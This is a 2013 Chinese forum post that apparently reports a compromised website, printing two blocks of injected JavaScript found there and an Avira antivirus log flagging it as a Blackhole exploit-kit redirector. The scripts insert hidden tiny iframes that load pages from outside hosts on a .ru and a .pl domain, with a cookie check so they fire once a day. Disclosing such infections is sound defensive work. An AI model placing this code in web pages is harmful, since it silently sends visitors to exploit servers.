http://pellirojo.free.fr/

显示全部楼层 · 发表于 2013-10-2 19:06:22

if (document.getElementsByTagName('body')[0]) {
iframer();
} else {
document.write("<iframe src='http://mscser.ru/in.php?a=QQkFBwQEAAADBgAGEkcJBQcEAQwMBAEABA==' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer() {
var f = document.createElement('iframe');
f.setAttribute('src', 'http://mscser.ru/in.php?a=QQkFBwQEAAADBgAGEkcJBQcEAQwMBAEABA==');
f.style.visibility = 'hidden';
f.style.position = 'absolute';
f.style.left = '0';
f.style.top = '0';
f.setAttribute('width', '10');
f.setAttribute('height', '10');
document.getElementsByTagName('body')[0].appendChild(f);
}

复制代码

function zzzfff() {
var mtqe = document.createElement('iframe');
mtqe.src = 'http://papierzak.pl/rel.php';
mtqe.style.position = 'absolute';
mtqe.style.border = '0';
mtqe.style.height = '1px';
mtqe.style.width = '1px';
mtqe.style.left = '1px';
mtqe.style.top = '1px';
if (!document.getElementById('mtqe')) {
document.write('<div id=\'mtqe\'></div>');
document.getElementById('mtqe').appendChild(mtqe);
}
}
function SetCookie(cookieName, cookieValue, nDays, path) {
var today = new Date();
var expire = new Date();
if (nDays == null || nDays == 0) nDays = 1;
expire.setTime(today.getTime() + 3600000 * 24 * nDays);
document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie(name) {
var start = document.cookie.indexOf(name + "=");
var len = start + name.length + 1;
if ((!start) && (name != document.cookie.substring(0, name.length))) {
return null;
}
if (start == -1) return null;
var end = document.cookie.indexOf(";", len);
if (end == -1) end = document.cookie.length;
return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled) {
if (GetCookie('visited_uq') == 55) {} else {
SetCookie('visited_uq', '55', '1', '/');
zzzfff();

复制代码

Avira

2013/10/2 下午 07:02 [System Scanner] 發現惡意程式碼
   檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\AVC3APW1\pellirojo_free_fr[1].htm'
   包含病毒或有害的程式 'JS/BlacoleRef.CZ.11' [virus]
   已採取動作：
   檔案會移動至 '540d516b.qua' 名稱底下的隔離區目錄。.

2013/10/2 下午 07:02 [System Scanner] 掃描
   掃描結束 [已完成全部的掃描。]。
   檔案數： 783
   目錄數： 0
   惡意程式碼數： 1
   警告數： 0

2013/10/2 下午 07:01 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\AVC3APW1\pellirojo_free_fr[1].htm 中
   偵測到病毒或有害的程式 'JS/BlacoleRef.CZ.11 [virus]'
   執行的動作：傳輸至掃描程式

2013/10/2 下午 07:00 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\AVC3APW1\pellirojo_free_fr[1].htm 中
   偵測到病毒或有害的程式 'JS/BlacoleRef.CZ.11 [virus]'
   執行的動作：拒絕存取

2013/10/2 下午 07:00 [Web Protection] 發現惡意程式碼
   從 URL "http://pellirojo.free.fr/" 存取資料時，
   發現病毒或有害的程式 'JS/BlacoleRef.CZ.11' [virus]。
   已採取動作：已略過

[已鉴定] http://pellirojo.free.fr/